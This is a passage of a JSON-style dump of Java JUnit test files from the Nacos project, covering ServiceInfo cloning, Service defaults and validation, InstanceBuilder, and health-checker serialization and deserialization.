serviceInfo2.getKeyWithoutClusters());\n        \n        // 测试name中已经包含@@的情况\n        ServiceInfo serviceInfo3 = new ServiceInfo(\"group@@name@@cluster\", \"\");\n        assertEquals(\"group@@name@@cluster\", serviceInfo3.getKeyWithoutClusters());\n    }\n    \n    @Test\n    void testCloneBasicFields() {\n        // Setup original ServiceInfo with all fields\n        ServiceInfo original = new ServiceInfo(\"testGroup@@testName\", \"testClusters\");\n        original.setCacheMillis(2000L);\n        original.setLastRefTime(1234567890L);\n        original.setChecksum(\"testChecksum\");\n        original.setAllIps(true);\n        original.setReachProtectionThreshold(true);\n        original.setJsonFromServer(\"testJson\");\n        \n        // Clone\n        ServiceInfo cloned = original.clone();\n        \n        // Verify it's a different object\n        assertNotSame(original, cloned);\n        \n        // Verify all basic fields are copied\n        assertEquals(original.getName(), cloned.getName());\n        assertEquals(original.getGroupName(), cloned.getGroupName());\n        assertEquals(original.getClusters(), cloned.getClusters());\n        assertEquals(original.getCacheMillis(), cloned.getCacheMillis());\n        assertEquals(original.getLastRefTime(), cloned.getLastRefTime());\n        assertEquals(original.getChecksum(), cloned.getChecksum());\n        assertEquals(original.isAllIps(), cloned.isAllIps());\n        assertEquals(original.isReachProtectionThreshold(), cloned.isReachProtectionThreshold());\n        assertEquals(original.getJsonFromServer(), cloned.getJsonFromServer());\n    }\n    \n    @Test\n    void testCloneWithNullHosts() {\n        final ServiceInfo original = new ServiceInfo(\"testGroup@@testName\", \"testClusters\");\n        original.setHosts(null);\n        \n        ServiceInfo cloned = original.clone();\n        \n        assertNotSame(original, cloned);\n        // Clone method initializes hosts to empty list even if original is null\n        assertTrue(cloned.getHosts().isEmpty());\n    }\n    \n    @Test\n    void testCloneWithEmptyHosts() {\n        ServiceInfo original = new ServiceInfo(\"testGroup@@testName\", \"testClusters\");\n        original.setHosts(new LinkedList<>());\n        \n        ServiceInfo cloned = original.clone();\n        \n        assertNotSame(original, cloned);\n        assertNotSame(original.getHosts(), cloned.getHosts());\n        assertTrue(cloned.getHosts().isEmpty());\n    }\n    \n    @Test\n    void testCloneWithHosts() {\n        // Setup original ServiceInfo with hosts\n        final ServiceInfo original = new ServiceInfo(\"testGroup@@testName\", \"testClusters\");\n        \n        Instance instance1 = new Instance();\n        instance1.setInstanceId(\"instance1\");\n        instance1.setIp(\"192.168.1.1\");\n        instance1.setPort(8080);\n        instance1.setWeight(1.0);\n        instance1.setHealthy(true);\n        instance1.setEnabled(true);\n        instance1.setEphemeral(true);\n        instance1.setClusterName(\"cluster1\");\n        instance1.setServiceName(\"service1\");\n        \n        Instance instance2 = new Instance();\n        instance2.setInstanceId(\"instance2\");\n        instance2.setIp(\"192.168.1.2\");\n        instance2.setPort(8081);\n        instance2.setWeight(2.0);\n        instance2.setHealthy(false);\n        instance2.setEnabled(false);\n        instance2.setEphemeral(false);\n        instance2.setClusterName(\"cluster2\");\n        instance2.setServiceName(\"service2\");\n        \n        original.addHost(instance1);\n        original.addHost(instance2);\n        \n        // Clone\n        ServiceInfo cloned = original.clone();\n        \n        // Verify it's a different object\n        assertNotSame(original, cloned);\n        \n        // Verify hosts list is different\n        assertNotSame(original.getHosts(), cloned.getHosts());\n        assertEquals(original.getHosts().size(), cloned.getHosts().size());\n        \n        // Verify each host is a different object but with same values\n        for (int i = 0; i < original.getHosts().size(); i++) {\n            Instance originalHost = original.getHosts().get(i);\n            Instance clonedHost = cloned.getHosts().get(i);\n            \n            assertNotSame(originalHost, clonedHost);\n            assertEquals(originalHost.getInstanceId(), clonedHost.getInstanceId());\n            assertEquals(originalHost.getIp(), clonedHost.getIp());\n            assertEquals(originalHost.getPort(), clonedHost.getPort());\n            assertEquals(originalHost.getWeight(), clonedHost.getWeight());\n            assertEquals(originalHost.isHealthy(), clonedHost.isHealthy());\n            assertEquals(originalHost.isEnabled(), clonedHost.isEnabled());\n            assertEquals(originalHost.isEphemeral(), clonedHost.isEphemeral());\n            assertEquals(originalHost.getClusterName(), clonedHost.getClusterName());\n            assertEquals(originalHost.getServiceName(), clonedHost.getServiceName());\n        }\n    }\n    \n    @Test\n    void testCloneWithHostsMetadata() {\n        final ServiceInfo original = new ServiceInfo(\"testGroup@@testName\", \"testClusters\");\n        \n        Instance instance = new Instance();\n        instance.setIp(\"192.168.1.1\");\n        instance.setPort(8080);\n        \n        Map<String, String> metadata = new HashMap<>();\n        metadata.put(\"key1\", \"value1\");\n        metadata.put(\"key2\", \"value2\");\n        instance.setMetadata(metadata);\n        \n        original.addHost(instance);\n        \n        // Clone\n        ServiceInfo cloned = original.clone();\n        \n        // Verify metadata is deep copied\n        Instance originalHost = original.getHosts().get(0);\n        Instance clonedHost = cloned.getHosts().get(0);\n        \n        assertNotSame(originalHost.getMetadata(), clonedHost.getMetadata());\n        assertEquals(originalHost.getMetadata(), clonedHost.getMetadata());\n        assertEquals(originalHost.getMetadata().size(), clonedHost.getMetadata().size());\n        assertEquals(\"value1\", clonedHost.getMetadata().get(\"key1\"));\n        assertEquals(\"value2\", clonedHost.getMetadata().get(\"key2\"));\n    }\n    \n    @Test\n    void testCloneWithHostsNullMetadata() {\n        final ServiceInfo original = new ServiceInfo(\"testGroup@@testName\", \"testClusters\");\n        \n        Instance instance = new Instance();\n        instance.setIp(\"192.168.1.1\");\n        instance.setPort(8080);\n        instance.setMetadata(null);\n        \n        original.addHost(instance);\n        \n        ServiceInfo cloned = original.clone();\n        \n        Instance clonedHost = cloned.getHosts().get(0);\n        // Instance metadata is initialized to empty HashMap by default\n        // When clone method doesn't set metadata (because original is null),\n        // the cloned Instance keeps its default empty HashMap\n        assertTrue(clonedHost.getMetadata() != null && clonedHost.getMetadata().isEmpty());\n    }\n    \n    @Test\n    void testCloneModificationDoesNotAffectOriginal() {\n        ServiceInfo original = new ServiceInfo(\"testGroup@@testName\", \"testClusters\");\n        original.setCacheMillis(1000L);\n        original.setAllIps(false);\n        \n        Instance instance = new Instance();\n        instance.setIp(\"192.168.1.1\");\n        instance.setPort(8080);\n        Map<String, String> metadata = new HashMap<>();\n        metadata.put(\"key1\", \"value1\");\n        instance.setMetadata(metadata);\n        original.addHost(instance);\n        \n        // Clone\n        ServiceInfo cloned = original.clone();\n        \n        // Modify cloned object\n        cloned.setCacheMillis(2000L);\n        cloned.setAllIps(true);\n        cloned.setName(\"modifiedName\");\n        cloned.getHosts().get(0).setIp(\"10.0.0.1\");\n        cloned.getHosts().get(0).getMetadata().put(\"key2\", \"value2\");\n        \n        // Verify original is not affected\n        assertEquals(1000L, original.getCacheMillis());\n        assertFalse(original.isAllIps());\n        assertEquals(\"testGroup@@testName\", original.getName());\n        assertEquals(\"192.168.1.1\", original.getHosts().get(0).getIp());\n        assertEquals(1, original.getHosts().get(0).getMetadata().size());\n        assertFalse(original.getHosts().get(0).getMetadata().containsKey(\"key2\"));\n    }\n}\n"
  },
  {
    "path": "api/src/test/java/com/alibaba/nacos/api/naming/pojo/ServiceTest.java",
    "content": "/*\n * Copyright 1999-2021 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.api.naming.pojo;\n\nimport com.alibaba.nacos.api.common.Constants;\nimport com.alibaba.nacos.api.exception.api.NacosApiException;\nimport com.alibaba.nacos.api.selector.NoneSelector;\nimport com.alibaba.nacos.api.selector.Selector;\nimport org.junit.jupiter.api.Test;\n\nimport java.util.Collections;\nimport java.util.HashMap;\n\nimport static org.junit.jupiter.api.Assertions.assertEquals;\nimport static org.junit.jupiter.api.Assertions.assertNull;\nimport static org.junit.jupiter.api.Assertions.assertTrue;\nimport static org.junit.jupiter.api.Assertions.assertNotNull;\nimport static org.junit.jupiter.api.Assertions.assertThrows;\n\nclass ServiceTest {\n    \n    @Test\n    void testSetAndGet() {\n        Service service = new Service();\n        assertNull(service.getName());\n        assertNull(service.getGroupName());\n        assertEquals(0.0f, service.getProtectThreshold(), 0.1);\n        assertTrue(service.getMetadata().isEmpty());\n        service.setName(\"service\");\n        service.setGroupName(\"group\");\n        service.setProtectThreshold(1.0f);\n        HashMap<String, String> metadata = new HashMap<>();\n        service.setMetadata(metadata);\n        service.addMetadata(\"a\", \"b\");\n        assertEquals(\"service\", service.getName());\n        assertEquals(\"group\", service.getGroupName());\n        assertEquals(1.0f, service.getProtectThreshold(), 0.1);\n        assertEquals(1, service.getMetadata().size());\n        assertEquals(\"b\", service.getMetadata().get(\"a\"));\n    }\n    \n    @Test\n    void testToString() {\n        Service service = new Service();\n        service.setName(\"service\");\n        service.setGroupName(\"group\");\n        service.setProtectThreshold(1.0f);\n        service.setMetadata(Collections.singletonMap(\"a\", \"b\"));\n    }\n    \n    @Test\n    void testNamespaceId() {\n        Service service = new Service();\n        assertNull(service.getNamespaceId());\n        \n        service.setNamespaceId(\"namespace\");\n        assertEquals(\"namespace\", service.getNamespaceId());\n    }\n    \n    @Test\n    void testEphemeral() {\n        Service service = new Service();\n        // 默认值应为 false\n        assertEquals(false, service.isEphemeral());\n        \n        service.setEphemeral(true);\n        assertEquals(true, service.isEphemeral());\n    }\n    \n    @Test\n    void testSelector() {\n        Service service = new Service();\n        // 默认选择器应该是 NoneSelector\n        assertNotNull(service.getSelector());\n        assertTrue(service.getSelector() instanceof NoneSelector);\n        \n        Selector selector = new NoneSelector();\n        service.setSelector(selector);\n        assertEquals(selector, service.getSelector());\n    }\n    \n    @Test\n    void testFillDefaultValue() {\n        Service service = new Service();\n        // 初始时 namespaceId 和 groupName 都是 null\n        assertNull(service.getNamespaceId());\n        assertNull(service.getGroupName());\n        \n        // 调用 fillDefaultValue 方法\n        service.fillDefaultValue();\n        \n        // 应该被设置为默认值\n        assertEquals(Constants.DEFAULT_NAMESPACE_ID, service.getNamespaceId());\n        assertEquals(Constants.DEFAULT_GROUP, service.getGroupName());\n    }\n    \n    @Test\n    void testValidateSuccess() throws NacosApiException {\n        Service service = new Service();\n        service.setName(\"service\");\n        \n        // 验证应该成功，不会抛出异常\n        service.validate();\n    }\n    \n    @Test\n    void testValidateFailure() {\n        Service service = new Service();\n        // 没有设置 name，验证应该失败\n        \n        assertThrows(NacosApiException.class, () -> {\n            service.validate();\n        });\n    }\n    \n    @Test\n    void testValidateWithFillDefaultValue() throws NacosApiException {\n        Service service = new Service();\n        service.setName(\"service\");\n        // namespaceId 和 groupName 未设置\n        \n        // 验证时会调用 fillDefaultValue\n        service.validate();\n        \n        // 验证后应该填充默认值\n        assertEquals(Constants.DEFAULT_NAMESPACE_ID, service.getNamespaceId());\n        assertEquals(Constants.DEFAULT_GROUP, service.getGroupName());\n    }\n}"
  },
  {
    "path": "api/src/test/java/com/alibaba/nacos/api/naming/pojo/builder/InstanceBuilderTest.java",
    "content": "/*\n * Copyright 1999-2020 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.api.naming.pojo.builder;\n\nimport com.alibaba.nacos.api.naming.pojo.Instance;\nimport org.junit.jupiter.api.Test;\n\nimport java.util.HashMap;\nimport java.util.Map;\n\nimport static org.junit.jupiter.api.Assertions.assertEquals;\nimport static org.junit.jupiter.api.Assertions.assertNull;\nimport static org.junit.jupiter.api.Assertions.assertTrue;\n\nclass InstanceBuilderTest {\n    \n    private static final String SERVICE_NAME = \"testService\";\n    \n    private static final String CLUSTER_NAME = \"testCluster\";\n    \n    private static final String INSTANCE_ID = \"ID\";\n    \n    private static final String IP = \"127.0.0.1\";\n    \n    private static final int PORT = 8848;\n    \n    private static final double WEIGHT = 2.0;\n    \n    private static final boolean HEALTHY = false;\n    \n    private static final boolean ENABLED = false;\n    \n    private static final boolean EPHEMERAL = false;\n    \n    private static final String META_KEY = \"key\";\n    \n    private static final String META_VALUE = \"value\";\n    \n    @Test\n    void testBuildFullInstance() {\n        InstanceBuilder builder = InstanceBuilder.newBuilder();\n        Instance actual = builder.setServiceName(SERVICE_NAME).setClusterName(CLUSTER_NAME).setInstanceId(INSTANCE_ID).setIp(IP)\n                .setPort(PORT).setWeight(WEIGHT).setHealthy(HEALTHY).setEnabled(ENABLED).setEphemeral(EPHEMERAL)\n                .addMetadata(META_KEY, META_VALUE).build();\n        assertEquals(actual.getServiceName(), SERVICE_NAME);\n        assertEquals(actual.getClusterName(), CLUSTER_NAME);\n        assertEquals(actual.getInstanceId(), INSTANCE_ID);\n        assertEquals(actual.getIp(), IP);\n        assertEquals(actual.getPort(), PORT);\n        assertEquals(actual.getWeight(), WEIGHT);\n        assertEquals(actual.isHealthy(), HEALTHY);\n        assertEquals(actual.isEnabled(), ENABLED);\n        assertEquals(actual.isEphemeral(), EPHEMERAL);\n        assertEquals(actual.getMetadata().size(), 1);\n        assertEquals(actual.getMetadata().get(META_KEY), META_VALUE);\n    }\n    \n    @Test\n    void testBuildInstanceWithoutNewMetadata() {\n        InstanceBuilder builder = InstanceBuilder.newBuilder();\n        Map<String, String> metadata = new HashMap<>();\n        metadata.put(\"test\", \"test\");\n        Instance actual = builder.setMetadata(metadata).build();\n        assertNull(actual.getServiceName());\n        assertNull(actual.getClusterName());\n        assertNull(actual.getInstanceId());\n        assertNull(actual.getIp());\n        assertEquals(actual.getPort(), 0);\n        assertEquals(actual.getWeight(), 1.0);\n        assertTrue(actual.isHealthy());\n        assertTrue(actual.isEnabled());\n        assertTrue(actual.isEphemeral());\n        assertEquals(1, actual.getMetadata().size());\n    }\n    \n    @Test\n    void testBuildEmptyInstance() {\n        InstanceBuilder builder = InstanceBuilder.newBuilder();\n        Instance actual = builder.build();\n        assertNull(actual.getServiceName());\n        assertNull(actual.getClusterName());\n        assertNull(actual.getInstanceId());\n        assertNull(actual.getIp());\n        assertEquals(actual.getPort(), 0);\n        assertEquals(actual.getWeight(), 1.0);\n        assertTrue(actual.isHealthy());\n        assertTrue(actual.isEnabled());\n        assertTrue(actual.isEphemeral());\n        assertTrue(actual.getMetadata().isEmpty());\n    }\n}\n"
  },
  {
    "path": "api/src/test/java/com/alibaba/nacos/api/naming/pojo/healthcheck/AbstractHealthCheckerTest.java",
    "content": "/*\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.api.naming.pojo.healthcheck;\n\nimport com.fasterxml.jackson.core.JsonProcessingException;\nimport com.fasterxml.jackson.databind.DeserializationFeature;\nimport com.fasterxml.jackson.databind.ObjectMapper;\nimport com.fasterxml.jackson.databind.jsontype.NamedType;\nimport org.junit.jupiter.api.BeforeEach;\nimport org.junit.jupiter.api.Test;\n\nimport java.io.IOException;\n\nimport static org.junit.jupiter.api.Assertions.assertEquals;\nimport static org.junit.jupiter.api.Assertions.assertTrue;\n\nclass AbstractHealthCheckerTest {\n    \n    private final ObjectMapper objectMapper = new ObjectMapper();\n    \n    @BeforeEach\n    void setUp() {\n        objectMapper.disable(DeserializationFeature.FAIL_ON_UNKNOWN_PROPERTIES);\n        objectMapper.registerSubtypes(new NamedType(TestChecker.class, TestChecker.TYPE));\n    }\n    \n    @Test\n    void testSerialize() throws JsonProcessingException {\n        TestChecker testChecker = new TestChecker();\n        testChecker.setTestValue(\"\");\n        String actual = objectMapper.writeValueAsString(testChecker);\n        assertTrue(actual.contains(\"\\\"testValue\\\":\\\"\\\"\"));\n        assertTrue(actual.contains(\"\\\"type\\\":\\\"TEST\\\"\"));\n    }\n    \n    @Test\n    void testDeserialize() throws IOException {\n        String testChecker = \"{\\\"type\\\":\\\"TEST\\\",\\\"testValue\\\":\\\"\\\"}\";\n        TestChecker actual = objectMapper.readValue(testChecker, TestChecker.class);\n        assertEquals(\"\", actual.getTestValue());\n        assertEquals(TestChecker.TYPE, actual.getType());\n    }\n    \n    @Test\n    void testClone() throws CloneNotSupportedException {\n        AbstractHealthChecker none = new AbstractHealthChecker.None().clone();\n        assertEquals(AbstractHealthChecker.None.class, none.getClass());\n    }\n}\n"
  },
  {
    "path": "api/src/test/java/com/alibaba/nacos/api/naming/pojo/healthcheck/HealthCheckTypeTest.java",
    "content": "/*\n * Copyright 1999-2021 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.api.naming.pojo.healthcheck;\n\nimport com.alibaba.nacos.api.naming.pojo.healthcheck.impl.Http;\nimport com.alibaba.nacos.api.naming.pojo.healthcheck.impl.Mysql;\nimport com.alibaba.nacos.api.naming.pojo.healthcheck.impl.Tcp;\nimport org.junit.jupiter.api.Test;\n\nimport java.util.List;\n\nimport static org.junit.jupiter.api.Assertions.assertEquals;\nimport static org.junit.jupiter.api.Assertions.assertNull;\n\nclass HealthCheckTypeTest {\n    \n    @Test\n    void testOfHealthCheckerClassForBuildInType() {\n        assertEquals(Tcp.class, HealthCheckType.ofHealthCheckerClass(\"TCP\"));\n        assertEquals(Http.class, HealthCheckType.ofHealthCheckerClass(\"HTTP\"));\n        assertEquals(Mysql.class, HealthCheckType.ofHealthCheckerClass(\"MYSQL\"));\n        assertEquals(AbstractHealthChecker.None.class, HealthCheckType.ofHealthCheckerClass(\"NONE\"));\n    }\n    \n    @Test\n    void testOfHealthCheckerClassForExtendType() {\n        HealthCheckType.registerHealthChecker(TestChecker.TYPE, TestChecker.class);\n        assertEquals(TestChecker.class, HealthCheckType.ofHealthCheckerClass(TestChecker.TYPE));\n    }\n    \n    @Test\n    void testOfHealthCheckerClassForNonExistType() {\n        assertNull(HealthCheckType.ofHealthCheckerClass(\"non-exist\"));\n    }\n    \n    @Test\n    void testGetLoadedHealthCheckerClasses() {\n        HealthCheckType.registerHealthChecker(TestChecker.TYPE, TestChecker.class);\n        List<Class<? extends AbstractHealthChecker>> actual = HealthCheckType.getLoadedHealthCheckerClasses();\n        assertEquals(5, actual.size());\n    }\n}"
  },
  {
    "path": "api/src/test/java/com/alibaba/nacos/api/naming/pojo/healthcheck/HealthCheckerFactoryTest.java",
    "content": "/*\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.api.naming.pojo.healthcheck;\n\nimport com.alibaba.nacos.api.exception.runtime.NacosDeserializationException;\nimport com.alibaba.nacos.api.exception.runtime.NacosSerializationException;\nimport com.alibaba.nacos.api.naming.pojo.healthcheck.impl.Tcp;\nimport org.junit.jupiter.api.BeforeAll;\nimport org.junit.jupiter.api.Test;\n\nimport static org.junit.jupiter.api.Assertions.assertEquals;\nimport static org.junit.jupiter.api.Assertions.assertFalse;\nimport static org.junit.jupiter.api.Assertions.assertThrows;\nimport static org.junit.jupiter.api.Assertions.assertTrue;\n\nclass HealthCheckerFactoryTest {\n    \n    @BeforeAll\n    static void beforeClass() {\n        HealthCheckerFactory.registerSubType(new TestChecker());\n    }\n    \n    @Test\n    void testSerialize() {\n        Tcp tcp = new Tcp();\n        String actual = HealthCheckerFactory.serialize(tcp);\n        assertTrue(actual.contains(\"\\\"type\\\":\\\"TCP\\\"\"));\n    }\n    \n    @Test\n    void testSerializeExtend() {\n        TestChecker testChecker = new TestChecker();\n        String actual = HealthCheckerFactory.serialize(testChecker);\n        assertTrue(actual.contains(\"\\\"type\\\":\\\"TEST\\\"\"));\n    }\n    \n    @Test\n    void testDeserialize() {\n        String tcpString = \"{\\\"type\\\":\\\"TCP\\\"}\";\n        AbstractHealthChecker actual = HealthCheckerFactory.deserialize(tcpString);\n        assertEquals(Tcp.class, actual.getClass());\n    }\n    \n    @Test\n    void testDeserializeExtend() {\n        String tcpString = \"{\\\"type\\\":\\\"TEST\\\",\\\"testValue\\\":null}\";\n        AbstractHealthChecker actual = HealthCheckerFactory.deserialize(tcpString);\n        assertEquals(TestChecker.class, actual.getClass());\n    }\n    \n    @Test\n    void testSerializeNoRegister() {\n        NoRegisterHealthChecker noRegister = new NoRegisterHealthChecker();\n        assertFalse(HealthCheckerFactory.serialize(noRegister).contains(\"no register\"));\n    }\n    \n    @Test\n    void testDeserializeNoRegister() {\n        String tcpString = \"{\\\"type\\\":\\\"no register\\\",\\\"testValue\\\":null}\";\n        AbstractHealthChecker actual = HealthCheckerFactory.deserialize(tcpString);\n        assertEquals(AbstractHealthChecker.None.class, actual.getClass());\n    }\n    \n    @Test\n    void testSerializeFailure() {\n        assertThrows(NacosSerializationException.class, () -> {\n            SelfDependHealthChecker selfDependHealthChecker = new SelfDependHealthChecker();\n            System.out.println(HealthCheckerFactory.serialize(selfDependHealthChecker));\n        });\n    }\n    \n    @Test\n    void testDeserializeFailure() {\n        assertThrows(NacosDeserializationException.class, () -> {\n            String errorString = \"{\\\"type\\\"=\\\"TCP\\\"}\";\n            System.out.println(HealthCheckerFactory.deserialize(errorString));\n        });\n    }\n    \n    @Test\n    void testCreateNoneHealthChecker() {\n        assertEquals(AbstractHealthChecker.None.class, HealthCheckerFactory.createNoneHealthChecker().getClass());\n    }\n    \n    private static class NoRegisterHealthChecker extends AbstractHealthChecker {\n        \n        private static final long serialVersionUID = 9020783491111797559L;\n        \n        private String testValue;\n        \n        protected NoRegisterHealthChecker() {\n            super(\"no register\");\n        }\n        \n        public String getTestValue() {\n            return testValue;\n        }\n        \n        public void setTestValue(String testValue) {\n            this.testValue = testValue;\n        }\n        \n        @Override\n        public AbstractHealthChecker clone() throws CloneNotSupportedException {\n            return null;\n        }\n    }\n    \n    private static class SelfDependHealthChecker extends AbstractHealthChecker {\n        \n        private static final long serialVersionUID = 876677992848225965L;\n        \n        public SelfDependHealthChecker self = this;\n        \n        protected SelfDependHealthChecker() {\n            super(\"self depend\");\n        }\n        \n        @Override\n        public AbstractHealthChecker clone() throws CloneNotSupportedException {\n            return null;\n        }\n    }\n}\n"
  },
  {
    "path": "api/src/test/java/com/alibaba/nacos/api/naming/pojo/healthcheck/TestChecker.java",
    "content": "/*\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.api.naming.pojo.healthcheck;\n\nimport com.fasterxml.jackson.annotation.JsonTypeInfo;\nimport com.fasterxml.jackson.annotation.JsonTypeInfo.Id;\n\npublic class TestChecker extends AbstractHealthChecker {\n    \n    @JsonTypeInfo(use = Id.NAME, property = \"type\")\n    public static final String TYPE = \"TEST\";\n    \n    private static final long serialVersionUID = 2472091207760970225L;\n    \n    private String testValue;\n    \n    public TestChecker() {\n        super(TYPE);\n    }\n    \n    public String getTestValue() {\n        return testValue;\n    }\n    \n    public void setTestValue(String testValue) {\n        this.testValue = testValue;\n    }\n    \n    @Override\n    public AbstractHealthChecker clone() throws CloneNotSupportedException {\n        return null;\n    }\n}\n"
  },
  {
    "path": "api/src/test/java/com/alibaba/nacos/api/naming/pojo/healthcheck/impl/HttpTest.java",
    "content": "/*\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.api.naming.pojo.healthcheck.impl;\n\nimport com.fasterxml.jackson.core.JsonProcessingException;\nimport com.fasterxml.jackson.databind.ObjectMapper;\nimport org.junit.jupiter.api.BeforeEach;\nimport org.junit.jupiter.api.Test;\n\nimport java.io.IOException;\nimport java.util.Map;\n\nimport static org.junit.jupiter.api.Assertions.assertEquals;\nimport static org.junit.jupiter.api.Assertions.assertFalse;\nimport static org.junit.jupiter.api.Assertions.assertNotEquals;\nimport static org.junit.jupiter.api.Assertions.assertTrue;\n\nclass HttpTest {\n    \n    private ObjectMapper objectMapper;\n    \n    private Http http;\n    \n    @BeforeEach\n    void setUp() {\n        objectMapper = new ObjectMapper();\n        http = new Http();\n    }\n    \n    @Test\n    void testGetExpectedResponseCodeWithEmpty() {\n        http.setHeaders(\"\");\n        assertTrue(http.getCustomHeaders().isEmpty());\n    }\n    \n    @Test\n    void testGetExpectedResponseCodeWithoutEmpty() {\n        http.setHeaders(\"x:a|y:\");\n        Map<String, String> actual = http.getCustomHeaders();\n        assertFalse(actual.isEmpty());\n        assertEquals(1, actual.size());\n        assertEquals(\"a\", actual.get(\"x\"));\n    }\n    \n    @Test\n    void testSerialize() throws JsonProcessingException {\n        http.setHeaders(\"x:a|y:\");\n        http.setPath(\"/x\");\n        String actual = objectMapper.writeValueAsString(http);\n        assertTrue(actual.contains(\"\\\"path\\\":\\\"/x\\\"\"));\n        assertTrue(actual.contains(\"\\\"type\\\":\\\"HTTP\\\"\"));\n        assertTrue(actual.contains(\"\\\"headers\\\":\\\"x:a|y:\\\"\"));\n        assertTrue(actual.contains(\"\\\"expectedResponseCode\\\":200\"));\n    }\n    \n    @Test\n    void testDeserialize() throws IOException {\n        String testChecker = \"{\\\"type\\\":\\\"HTTP\\\",\\\"path\\\":\\\"/x\\\",\\\"headers\\\":\\\"x:a|y:\\\",\\\"expectedResponseCode\\\":200}\";\n        Http actual = objectMapper.readValue(testChecker, Http.class);\n        assertEquals(\"x:a|y:\", actual.getHeaders());\n        assertEquals(\"/x\", actual.getPath());\n        assertEquals(200, actual.getExpectedResponseCode());\n        assertEquals(\"x:a|y:\", actual.getHeaders());\n        assertEquals(Http.TYPE, actual.getType());\n    }\n    \n    @Test\n    void testClone() throws CloneNotSupportedException {\n        Http cloned = http.clone();\n        assertEquals(http.hashCode(), cloned.hashCode());\n        assertEquals(http, cloned);\n    }\n    \n    @Test\n    void testNotEquals() throws CloneNotSupportedException {\n        assertNotEquals(http, new Tcp());\n        Http cloned = http.clone();\n        cloned.setPath(\"aaa\");\n        assertNotEquals(http, cloned);\n        cloned = http.clone();\n        cloned.setHeaders(\"aaa\");\n        assertNotEquals(http, cloned);\n        cloned = http.clone();\n        cloned.setExpectedResponseCode(500);\n        assertNotEquals(http, cloned);\n    }\n}\n"
  },
  {
    "path": "api/src/test/java/com/alibaba/nacos/api/naming/pojo/healthcheck/impl/MysqlTest.java",
    "content": "/*\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.api.naming.pojo.healthcheck.impl;\n\nimport com.fasterxml.jackson.core.JsonProcessingException;\nimport com.fasterxml.jackson.databind.ObjectMapper;\nimport org.junit.jupiter.api.BeforeEach;\nimport org.junit.jupiter.api.Test;\n\nimport java.io.IOException;\n\nimport static org.junit.jupiter.api.Assertions.assertEquals;\nimport static org.junit.jupiter.api.Assertions.assertNotEquals;\nimport static org.junit.jupiter.api.Assertions.assertTrue;\n\nclass MysqlTest {\n    \n    private ObjectMapper objectMapper;\n    \n    private Mysql mysql;\n    \n    @BeforeEach\n    void setUp() throws Exception {\n        mysql = new Mysql();\n        mysql.setUser(\"user\");\n        mysql.setPwd(\"pwd\");\n        mysql.setCmd(\"cmd\");\n        objectMapper = new ObjectMapper();\n    }\n    \n    @Test\n    void testSerialize() throws JsonProcessingException {\n        String actual = 